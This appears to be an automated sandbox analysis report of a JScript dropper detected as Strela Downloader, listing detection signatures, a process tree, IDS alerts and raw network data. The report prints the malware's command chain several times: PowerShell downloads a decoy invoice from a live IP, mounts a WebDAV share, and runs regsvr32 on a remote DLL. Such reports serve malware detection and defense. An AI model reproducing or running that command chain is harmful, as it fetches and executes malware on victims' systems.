Edit tour

Windows Analysis Report
1947415746274847548.js

Overview

General Information

Sample name:	1947415746274847548.js
Analysis ID:	1587526
MD5:	9a75c542402524141e6e0f7b7ac4d508
SHA1:	32a207bf1f019885254600ba2c4fba94bb975738
SHA256:	aa008a16470876b76e2ed0e5554260b738a60c927060f152a9b64441851d22e0
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6760 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1947415746274847548.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5920 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1240 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7228 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7436 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7636 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1692,i,12392372477177603845,12897811238865143999,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7244 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7276 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7500 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6760	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5920, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1240, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5920, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1240, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1947415746274847548.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1947415746274847548.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1947415746274847548.js", ProcessId: 6760, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7276, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1947415746274847548.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6760, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ProcessId: 5920, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1947415746274847548.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6760, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ProcessId: 5920, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1947415746274847548.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6760, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ProcessId: 5920, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1947415746274847548.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6760, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ProcessId: 5920, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1947415746274847548.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6760, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ProcessId: 5920, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1947415746274847548.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6760, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ProcessId: 5920, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1947415746274847548.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1947415746274847548.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1947415746274847548.js", ProcessId: 6760, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5920, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1240, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7244, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7276, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7500, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7244, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7276, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1947415746274847548.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6760, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll, ProcessId: 5920, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:28:13.188609+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:28:10.922983+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1947415746274847548.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1947415746274847548.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:28:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 